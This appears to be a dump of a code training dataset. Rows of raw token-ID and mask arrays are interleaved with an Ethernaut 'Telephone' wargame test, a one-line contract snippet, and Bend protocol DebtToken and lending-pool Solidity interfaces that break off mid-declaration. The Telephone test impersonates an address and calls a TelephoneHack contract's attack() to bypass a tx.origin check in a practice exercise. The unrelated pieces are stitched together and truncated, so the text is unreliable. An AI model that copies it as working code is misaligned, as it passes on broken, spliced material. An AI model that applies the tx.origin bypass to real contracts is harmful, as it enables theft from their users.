[ 1, 31089, 1345, 598, 611, 1643, 82, 1359, 18, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 16351, 605, 25071, 12521, 353, 9722, 52, 3462, 2668, 38, 25071, 12521, 3155, 2187, 296, 38, 25071, 12521, 6134, 288, 203, 565, 445, 312, 474, 12, 2867, 389, 869, 16, 2254, 5034, 389, 8949, 13, 1071, 1338, 5541, 288, 203, 3639, 389, 81, 474, 24899, 869, 16, 389, 8949, 1769, 203, 3639, 389, 8501, 15608, 815, 12, 2867, 12, 20, 3631, 389, 3771, 1332, 815, 63, 67, 869, 6487, 389, 8949, 1769, 203, 565, 289, 203, 203, 203, 203, 565, 2874, 261, 2867, 516, 1758, 13, 2713, 389, 3771, 1332, 815, 31, 203, 565, 1958, 25569, 288, 203, 3639, 2254, 1578, 628, 1768, 31, 203, 3639, 2254, 5034, 19588, 31, 203, 565, 289, 203, 203, 203, 203, 203, 203, 203, 203, 203, 565, 2874, 261, 2867, 516, 2874, 261, 11890, 1578, 516, 25569, 3719, 1071, 26402, 31, 203, 565, 2874, 261, 2867, 516, 2254, 1578, 13, 1071, 818, 1564, 4139, 31, 203, 565, 1731, 1578, 1071, 5381, 27025, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 41, 2579, 27, 2138, 3748, 12, 1080, 508, 16, 11890, 5034, 2687, 548, 16, 2867, 3929, 310, 8924, 2225, 1769, 203, 565, 1731, 1578, 1071, 5381, 2030, 19384, 2689, 67, 2399, 15920, 273, 417, 24410, 581, 5034, 2932, 26945, 12, 2867, 7152, 73, 16, 11890, 5034, 7448, 16, 11890, 5034, 10839, 2225, 1769, 203, 565, 2874, 261, 2867, 516, 2254, 13, 1071, 1661, 764, 31, 203, 565, 871, 27687, 5033, 12, 2867, 8808, 11158, 639, 16, 1758, 8808, 628, 9586, 16, 1758, 8808, 358, 9586, 1769, 203, 2 ]
pragma solidity ^0.8.10; import "ds-test/test.sol"; import "../Telephone/Telephone.sol"; import "../Telephone/TelephoneHack.sol"; import "../Telephone/TelephoneFactory.sol"; import "../Ethernaut.sol"; interface CheatCodes { // Sets all subsequent calls' msg.sender to be the input address until `stopPrank` is called, and the tx.origin to be the second input function startPrank(address, address) external; // Resets subsequent calls' msg.sender to be `address(this)` function stopPrank() external; } contract TelephoneTest is DSTest { CheatCodes cheats = CheatCodes(address(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D)); Ethernaut ethernaut; TelephoneHack telephoneHack; TelephoneFactory telephoneFactory; address levelAddress; bool levelSuccessfullyPassed; function setUp() public { // Setup instances of the Ethernaut & TelephoneFactory contracts ethernaut = new Ethernaut(); telephoneFactory = new TelephoneFactory(); } function testTelephoneHack() public { // Register the Ethernaut Telephone level (this would have already been done on Rinkeby) ethernaut.registerLevel(telephoneFactory); // Add some ETH to the 0 address which we will be using payable(address(0)).transfer(1 ether); // Use the startPrank cheat which enables us to excute subsequent call as another address (https://onbjerg.github.io/foundry-book/reference/cheatcodes.html) cheats.startPrank(address(0), address(0)); // Set up the Level levelAddress = ethernaut.createLevelInstance(telephoneFactory); // Cast the level address to the Telephone contract class Telephone ethernautTelephone = Telephone(payable(levelAddress)); // Create TelephoneHack contract telephoneHack = new TelephoneHack(levelAddress); // Call the attack function telephoneHack.attack(); // Submit level to the core Ethernaut contract levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); // Stop the prank - calls with no longer come from address(0) cheats.stopPrank(); // Verify the level has passed assert(levelSuccessfullyPassed); } }
Register the Ethernaut Telephone level (this would have already been done on Rinkeby) Add some ETH to the 0 address which we will be using Use the startPrank cheat which enables us to excute subsequent call as another address (https:onbjerg.github.io/foundry-book/reference/cheatcodes.html) Set up the Level Cast the level address to the Telephone contract class Create TelephoneHack contract Call the attack function Submit level to the core Ethernaut contract Stop the prank - calls with no longer come from address(0) Verify the level has passed
function testTelephoneHack() public { ethernaut.registerLevel(telephoneFactory); payable(address(0)).transfer(1 ether); cheats.startPrank(address(0), address(0)); levelAddress = ethernaut.createLevelInstance(telephoneFactory); Telephone ethernautTelephone = Telephone(payable(levelAddress)); telephoneHack = new TelephoneHack(levelAddress); telephoneHack.attack(); levelSuccessfullyPassed = ethernaut.submitLevelInstance(payable(levelAddress)); cheats.stopPrank(); assert(levelSuccessfullyPassed); }
6,474,963
[ 1, 3996, 326, 512, 1136, 82, 5854, 399, 6516, 10540, 1801, 261, 2211, 4102, 1240, 1818, 2118, 2731, 603, 534, 754, 73, 1637, 13, 1436, 2690, 512, 2455, 358, 326, 374, 1758, 1492, 732, 903, 506, 1450, 2672, 326, 787, 2050, 2304, 19315, 270, 1492, 19808, 584, 358, 3533, 624, 10815, 745, 487, 4042, 1758, 261, 4528, 30, 265, 441, 18639, 18, 6662, 18, 1594, 19, 7015, 1176, 17, 3618, 19, 6180, 19, 18706, 270, 7000, 18, 2620, 13, 1000, 731, 326, 4557, 19782, 326, 1801, 1758, 358, 326, 399, 6516, 10540, 6835, 667, 1788, 399, 6516, 10540, 44, 484, 6835, 3049, 326, 13843, 445, 17320, 1801, 358, 326, 2922, 512, 1136, 82, 5854, 6835, 5131, 326, 846, 2304, 300, 4097, 598, 1158, 7144, 12404, 628, 1758, 12, 20, 13, 8553, 326, 1801, 711, 2275, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 445, 1842, 56, 6516, 10540, 44, 484, 1435, 1071, 288, 203, 203, 3639, 225, 2437, 82, 5854, 18, 4861, 2355, 12, 29170, 10540, 1733, 1769, 203, 203, 3639, 8843, 429, 12, 2867, 12, 20, 13, 2934, 13866, 12, 21, 225, 2437, 1769, 203, 203, 3639, 19315, 2323, 18, 1937, 2050, 2304, 12, 2867, 12, 20, 3631, 1758, 12, 20, 10019, 203, 203, 3639, 1801, 1887, 273, 225, 2437, 82, 5854, 18, 2640, 2355, 1442, 12, 29170, 10540, 1733, 1769, 203, 203, 3639, 399, 6516, 10540, 225, 2437, 82, 5854, 56, 6516, 10540, 273, 399, 6516, 10540, 12, 10239, 429, 12, 2815, 1887, 10019, 203, 203, 203, 3639, 268, 6516, 10540, 44, 484, 273, 394, 399, 6516, 10540, 44, 484, 12, 2815, 1887, 1769, 203, 203, 3639, 268, 6516, 10540, 44, 484, 18, 4558, 484, 5621, 203, 203, 3639, 1801, 18303, 22530, 273, 225, 2437, 82, 5854, 18, 9297, 2355, 1442, 12, 10239, 429, 12, 2815, 1887, 10019, 203, 203, 203, 3639, 19315, 2323, 18, 5681, 2050, 2304, 5621, 203, 203, 3639, 1815, 12, 2815, 18303, 22530, 1769, 203, 565, 289, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
./full_match/1/0x60Fa954e22c42F52E8C815a9476f339BD38AEEf7/sources/contracts/core/defi/three-x/ThreeXBatchProcessing.sol
Update lastMintedAt for cooldown calculations
lastMintedAt = block.timestamp;
4,889,284
[ 1, 1891, 1142, 49, 474, 329, 861, 364, 27367, 2378, 20882, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0 ]
[ 1, 565, 1142, 49, 474, 329, 861, 273, 1203, 18, 5508, 31, 203, 2, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100, -100 ]
// SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; import {IDebtToken} from "../interfaces/IDebtToken.sol"; import {ILendPool} from "../interfaces/ILendPool.sol"; import {ILendPoolAddressesProvider} from "../interfaces/ILendPoolAddressesProvider.sol"; import {ILendPoolConfigurator} from "../interfaces/ILendPoolConfigurator.sol"; import {IIncentivesController} from "../interfaces/IIncentivesController.sol"; import {IncentivizedERC20} from "./IncentivizedERC20.sol"; import {WadRayMath} from "../libraries/math/WadRayMath.sol"; import {Errors} from "../libraries/helpers/Errors.sol"; import {Initializable} from "@openzeppelin/contracts-upgradeable/proxy/utils/Initializable.sol"; /** * @title DebtToken * @notice Implements a debt token to track the borrowing positions of users * @author Bend **/ contract DebtToken is Initializable, IDebtToken, IncentivizedERC20 { using WadRayMath for uint256; ILendPoolAddressesProvider internal _addressProvider; address internal _underlyingAsset; modifier onlyLendPool() { require(_msgSender() == address(_getLendPool()), Errors.CT_CALLER_MUST_BE_LEND_POOL); _; } modifier onlyLendPoolConfigurator() { require(_msgSender() == address(_getLendPoolConfigurator()), Errors.LP_CALLER_NOT_LEND_POOL_CONFIGURATOR); _; } /** * @dev Initializes the debt token. * @param addressProvider The address of the lend pool * @param underlyingAsset The address of the underlying asset * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendPoolAddressesProvider addressProvider, address underlyingAsset, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol ) public override initializer { __IncentivizedERC20_init(debtTokenName, debtTokenSymbol, debtTokenDecimals); _underlyingAsset = underlyingAsset; _addressProvider = addressProvider; emit Initialized( underlyingAsset, address(_getLendPool()), address(_getIncentivesController()), debtTokenDecimals, debtTokenName, debtTokenSymbol ); } /** * @dev Mints debt token to the `user` address * - Only callable by the LendPool * @param user The address receiving the borrowed underlying * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, uint256 amount, uint256 index ) external override onlyLendPool returns (bool) { uint256 previousBalance = super.balanceOf(user); // index is expressed in Ray, so: // amount.wadToRay().rayDiv(index).rayToWad() => amount.rayDiv(index) uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_MINT_AMOUNT); _mint(user, amountScaled); emit Transfer(address(0), user, amount); emit Mint(user, amount, index); return previousBalance == 0; } /** * @dev Burns user variable debt * - Only callable by the LendPool * @param user The user whose debt is getting burned * @param amount The amount getting burned * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external override onlyLendPool { uint256 amountScaled = amount.rayDiv(index); require(amountScaled != 0, Errors.CT_INVALID_BURN_AMOUNT); _burn(user, amountScaled); emit Transfer(user, address(0), amount); emit Burn(user, amount, index); } /** * @dev Calculates the accumulated debt balance of the user * @return The debt balance of the user **/ function balanceOf(address user) public view virtual override returns (uint256) { uint256 scaledBalance = super.balanceOf(user); if (scaledBalance == 0) { return 0; } ILendPool pool = _getLendPool(); return scaledBalance.rayMul(pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Returns the principal debt balance of the user from * @return The debt balance of the user since the last burn/mint action **/ function scaledBalanceOf(address user) public view virtual override returns (uint256) { return super.balanceOf(user); } /** * @dev Returns the total supply of the variable debt token. Represents the total debt accrued by the users * @return The total supply **/ function totalSupply() public view virtual override returns (uint256) { ILendPool pool = _getLendPool(); return super.totalSupply().rayMul(pool.getReserveNormalizedVariableDebt(_underlyingAsset)); } /** * @dev Returns the scaled total supply of the variable debt token. Represents sum(debt/index) * @return the scaled total supply **/ function scaledTotalSupply() public view virtual override returns (uint256) { return super.totalSupply(); } /** * @dev Returns the principal balance of the user and principal total supply. * @param user The address of the user * @return The principal balance of the user * @return The principal total supply **/ function getScaledUserBalanceAndSupply(address user) external view override returns (uint256, uint256) { return (super.balanceOf(user), super.totalSupply()); } /** * @dev Returns the address of the underlying asset of this bToken **/ function UNDERLYING_ASSET_ADDRESS() public view returns (address) { return _underlyingAsset; } /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view override returns (IIncentivesController) { return _getIncentivesController(); } /** * @dev Returns the address of the lend pool where this token is used **/ function POOL() public view returns (ILendPool) { return _getLendPool(); } function _getIncentivesController() internal view override returns (IIncentivesController) { return IIncentivesController(_addressProvider.getIncentivesController()); } function _getUnderlyingAssetAddress() internal view override returns (address) { return _underlyingAsset; } function _getLendPool() internal view returns (ILendPool) { return ILendPool(_addressProvider.getLendPool()); } function _getLendPoolConfigurator() internal view returns (ILendPoolConfigurator) { return ILendPoolConfigurator(_addressProvider.getLendPoolConfigurator()); } /** * @dev Being non transferrable, the debt token does not implement any of the * standard ERC20 functions for transfer and allowance. **/ function transfer(address recipient, uint256 amount) public virtual override returns (bool) { recipient; amount; revert("TRANSFER_NOT_SUPPORTED"); } function allowance(address owner, address spender) public view virtual override returns (uint256) { owner; spender; revert("ALLOWANCE_NOT_SUPPORTED"); } function approve(address spender, uint256 amount) public virtual override returns (bool) { spender; amount; revert("APPROVAL_NOT_SUPPORTED"); } function transferFrom( address sender, address recipient, uint256 amount ) public virtual override returns (bool) { sender; recipient; amount; revert("TRANSFER_NOT_SUPPORTED"); } function increaseAllowance(address spender, uint256 addedValue) public virtual override returns (bool) { spender; addedValue; revert("ALLOWANCE_NOT_SUPPORTED"); } function decreaseAllowance(address spender, uint256 subtractedValue) public virtual override returns (bool) { spender; subtractedValue; revert("ALLOWANCE_NOT_SUPPORTED"); } } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; import {ILendPoolAddressesProvider} from "../interfaces/ILendPoolAddressesProvider.sol"; import {IIncentivesController} from "./IIncentivesController.sol"; import {IScaledBalanceToken} from "./IScaledBalanceToken.sol"; import {IERC20Upgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/IERC20Upgradeable.sol"; import {IERC20MetadataUpgradeable} from "@openzeppelin/contracts-upgradeable/token/ERC20/extensions/IERC20MetadataUpgradeable.sol"; /** * @title IDebtToken * @author Bend * @notice Defines the basic interface for a debt token. **/ interface IDebtToken is IScaledBalanceToken, IERC20Upgradeable, IERC20MetadataUpgradeable { /** * @dev Emitted when a debt token is initialized * @param underlyingAsset The address of the underlying asset * @param pool The address of the associated lend pool * @param incentivesController The address of the incentives controller * @param debtTokenDecimals the decimals of the debt token * @param debtTokenName the name of the debt token * @param debtTokenSymbol the symbol of the debt token **/ event Initialized( address indexed underlyingAsset, address indexed pool, address incentivesController, uint8 debtTokenDecimals, string debtTokenName, string debtTokenSymbol ); /** * @dev Initializes the debt token. * @param addressProvider The address of the lend pool * @param underlyingAsset The address of the underlying asset * @param debtTokenDecimals The decimals of the debtToken, same as the underlying asset's * @param debtTokenName The name of the token * @param debtTokenSymbol The symbol of the token */ function initialize( ILendPoolAddressesProvider addressProvider, address underlyingAsset, uint8 debtTokenDecimals, string memory debtTokenName, string memory debtTokenSymbol ) external; /** * @dev Emitted after the mint action * @param from The address performing the mint * @param value The amount to be minted * @param index The last index of the reserve **/ event Mint(address indexed from, uint256 value, uint256 index); /** * @dev Mints debt token to the `user` address * @param user The address receiving the borrowed underlying * @param amount The amount of debt being minted * @param index The variable debt index of the reserve * @return `true` if the the previous balance of the user is 0 **/ function mint( address user, uint256 amount, uint256 index ) external returns (bool); /** * @dev Emitted when variable debt is burnt * @param user The user which debt has been burned * @param amount The amount of debt being burned * @param index The index of the user **/ event Burn(address indexed user, uint256 amount, uint256 index); /** * @dev Burns user variable debt * @param user The user which debt is burnt * @param index The variable debt index of the reserve **/ function burn( address user, uint256 amount, uint256 index ) external; /** * @dev Returns the address of the incentives controller contract **/ function getIncentivesController() external view returns (IIncentivesController); } // SPDX-License-Identifier: agpl-3.0 pragma solidity 0.8.4; import {ILendPoolAddressesProvider} from "./ILendPoolAddressesProvider.sol"; import {DataTypes} from "../libraries/types/DataTypes.sol"; interface ILendPool { /** * @dev Emitted on deposit() * @param user The address initiating the deposit * @param amount The amount deposited * @param reserve The address of the underlying asset of the reserve * @param onBehalfOf The beneficiary of the deposit, receiving the bTokens * @param referral The referral code used **/ event Deposit( address user, address indexed reserve, uint256 amount, address indexed onBehalfOf, uint16 indexed referral ); /** * @dev Emitted on withdraw() * @param user The address initiating the withdrawal, owner of bTokens * @param reserve The address of the underlyng asset being withdrawn * @param amount The amount to be withdrawn * @param to Address that will receive the underlying **/ event Withdraw(address indexed user, address indexed reserve, uint256 amount, address indexed to); /** * @dev Emitted on borrow() when loan needs to be opened * @param user The address of the user initiating the borrow(), receiving the funds * @param reserve The address of the underlying asset being borrowed * @param amount The amount borrowed out * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token id of the underlying NFT used as collateral * @param onBehalfOf The address that will be getting the loan * @param referral The referral code used **/ event Borrow( address user, address indexed reserve, uint256 amount, address nftAsset, uint256 nftTokenId, address indexed onBehalfOf, uint256 borrowRate, uint256 loanId, uint16 indexed referral ); /** * @dev Emitted on repay() * @param user The address of the user initiating the repay(), providing the funds * @param reserve The address of the underlying asset of the reserve * @param amount The amount repaid * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token id of the underlying NFT used as collateral * @param borrower The beneficiary of the repayment, getting his debt reduced * @param loanId The loan ID of the NFT loans **/ event Repay( address user, address indexed reserve, uint256 amount, address indexed nftAsset, uint256 nftTokenId, address indexed borrower, uint256 loanId ); /** * @dev Emitted when a borrower's loan is auctioned. * @param user The address of the user initiating the auction * @param reserve The address of the underlying asset of the reserve * @param bidPrice The price of the underlying reserve given by the bidder * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token id of the underlying NFT used as collateral * @param onBehalfOf The address that will be getting the NFT * @param loanId The loan ID of the NFT loans **/ event Auction( address user, address indexed reserve, uint256 bidPrice, address indexed nftAsset, uint256 nftTokenId, address onBehalfOf, address indexed borrower, uint256 loanId ); /** * @dev Emitted on redeem() * @param user The address of the user initiating the redeem(), providing the funds * @param reserve The address of the underlying asset of the reserve * @param borrowAmount The borrow amount repaid * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token id of the underlying NFT used as collateral * @param loanId The loan ID of the NFT loans **/ event Redeem( address user, address indexed reserve, uint256 borrowAmount, uint256 fineAmount, address indexed nftAsset, uint256 nftTokenId, address indexed borrower, uint256 loanId ); /** * @dev Emitted when a borrower's loan is liquidated. * @param user The address of the user initiating the auction * @param reserve The address of the underlying asset of the reserve * @param repayAmount The amount of reserve repaid by the liquidator * @param remainAmount The amount of reserve received by the borrower * @param loanId The loan ID of the NFT loans **/ event Liquidate( address user, address indexed reserve, uint256 repayAmount, uint256 remainAmount, address indexed nftAsset, uint256 nftTokenId, address indexed borrower, uint256 loanId ); /** * @dev Emitted when the pause is triggered. */ event Paused(); /** * @dev Emitted when the pause is lifted. */ event Unpaused(); /** * @dev Emitted when the state of a reserve is updated. NOTE: This event is actually declared * in the ReserveLogic library and emitted in the updateInterestRates() function. Since the function is internal, * the event will actually be fired by the LendPool contract. The event is therefore replicated here so it * gets added to the LendPool ABI * @param reserve The address of the underlying asset of the reserve * @param liquidityRate The new liquidity rate * @param variableBorrowRate The new variable borrow rate * @param liquidityIndex The new liquidity index * @param variableBorrowIndex The new variable borrow index **/ event ReserveDataUpdated( address indexed reserve, uint256 liquidityRate, uint256 variableBorrowRate, uint256 liquidityIndex, uint256 variableBorrowIndex ); /** * @dev Deposits an `amount` of underlying asset into the reserve, receiving in return overlying bTokens. * - E.g. User deposits 100 USDC and gets in return 100 bUSDC * @param reserve The address of the underlying asset to deposit * @param amount The amount to be deposited * @param onBehalfOf The address that will receive the bTokens, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of bTokens * is a different wallet * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function deposit( address reserve, uint256 amount, address onBehalfOf, uint16 referralCode ) external; /** * @dev Withdraws an `amount` of underlying asset from the reserve, burning the equivalent bTokens owned * E.g. User has 100 bUSDC, calls withdraw() and receives 100 USDC, burning the 100 bUSDC * @param reserve The address of the underlying asset to withdraw * @param amount The underlying amount to be withdrawn * - Send the value type(uint256).max in order to withdraw the whole bToken balance * @param to Address that will receive the underlying, same as msg.sender if the user * wants to receive it on his own wallet, or a different address if the beneficiary is a * different wallet * @return The final amount withdrawn **/ function withdraw( address reserve, uint256 amount, address to ) external returns (uint256); /** * @dev Allows users to borrow a specific `amount` of the reserve underlying asset, provided that the borrower * already deposited enough collateral * - E.g. User borrows 100 USDC, receiving the 100 USDC in his wallet * and lock collateral asset in contract * @param reserveAsset The address of the underlying asset to borrow * @param amount The amount to be borrowed * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token ID of the underlying NFT used as collateral * @param onBehalfOf Address of the user who will receive the loan. Should be the address of the borrower itself * calling the function if he wants to borrow against his own collateral, or the address of the credit delegator * if he has been given credit delegation allowance * @param referralCode Code used to register the integrator originating the operation, for potential rewards. * 0 if the action is executed directly by the user, without any middle-man **/ function borrow( address reserveAsset, uint256 amount, address nftAsset, uint256 nftTokenId, address onBehalfOf, uint16 referralCode ) external; /** * @notice Repays a borrowed `amount` on a specific reserve, burning the equivalent loan owned * - E.g. User repays 100 USDC, burning loan and receives collateral asset * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token ID of the underlying NFT used as collateral * @param amount The amount to repay * @return The final amount repaid, loan is burned or not **/ function repay( address nftAsset, uint256 nftTokenId, uint256 amount ) external returns (uint256, bool); /** * @dev Function to auction a non-healthy position collateral-wise * - The caller (liquidator) want to buy collateral asset of the user getting liquidated * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token ID of the underlying NFT used as collateral * @param bidPrice The bid price of the liquidator want to buy the underlying NFT * @param onBehalfOf Address of the user who will get the underlying NFT, same as msg.sender if the user * wants to receive them on his own wallet, or a different address if the beneficiary of NFT * is a different wallet **/ function auction( address nftAsset, uint256 nftTokenId, uint256 bidPrice, address onBehalfOf ) external; /** * @notice Redeem a NFT loan which state is in Auction * - E.g. User repays 100 USDC, burning loan and receives collateral asset * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token ID of the underlying NFT used as collateral * @param amount The amount to repay the debt and bid fine **/ function redeem( address nftAsset, uint256 nftTokenId, uint256 amount ) external returns (uint256); /** * @dev Function to liquidate a non-healthy position collateral-wise * - The caller (liquidator) buy collateral asset of the user getting liquidated, and receives * the collateral asset * @param nftAsset The address of the underlying NFT used as collateral * @param nftTokenId The token ID of the underlying NFT used as collateral **/ function liquidate( address nftAsset, uint256 nftTokenId, uint256 amount ) external returns (uint256); /** * @dev Validates and finalizes an bToken transfer * - Only callable by the overlying bToken of the `asset` * @param asset The address of the underlying asset of the bToken * @param from The user from which the bTokens are transferred * @param to The user receiving the bTokens * @param amount The amount being transferred/withdrawn * @param balanceFromBefore The bToken balance of the `from` user before the transfer * @param balanceToBefore The bToken balance of the `to` user before the transfer */ function finalizeTransfer( address asset, address from, address to, uint256 amount, uint256 balanceFromBefore, uint256 balanceToBefore ) external view; function getReserveConfiguration(address asset) external view returns (DataTypes.ReserveConfigurationMap memory); function getNftConfiguration(address asset) external view returns (DataTypes.NftConfigurationMap memory); /** * @dev Returns the normalized income normalized income of the reserve * @param asset The address of the underlying asset of the reserve * @return The reserve's normalized income */ function getReserveNormalizedIncome(address asset) external view returns (uint256); /** * @dev Returns the normalized variable debt per unit of asset * @param asset The address of the underlying asset of the reserve * @return The reserve normalized variable debt */ function getReserveNormalizedVariableDebt(address asset) external view returns (uint256); /** * @dev Returns the state and configuration of the reserve * @param asset The address of the underlying asset of the reserve * @return The state of the reserve **/ function getReserveData(address asset) external view returns (DataTypes.ReserveData memory); function getReservesList() external view returns (address[] memory); function getNftData(address asset) external view returns (DataTypes.NftData memory); /** * @dev Returns the loan data of the NFT * @param nftAsset The address of the NFT * @param reserveAsset The address of the Reserve * @return totalCollateralInETH the total collateral in ETH of the NFT * @return totalCollateralInReserve the total collateral in Reserve of the NFT * @return availableBorrowsInETH the borrowing power in ETH of the NFT * @return availableBorrowsInReserve the borrowing power in Reserve of the NFT * @return ltv the loan to value of the user * @return liquidationThreshold the liquidation threshold of the NFT * @return liquidationBonus the liquidation bonus of the NFT **/ function getNftCollateralData(address nftAsset, address reserveAsset) external view returns ( uint256 totalCollateralInETH, uint256 totalCollateralInReserve, uint256 availableBorrowsInETH, uint256 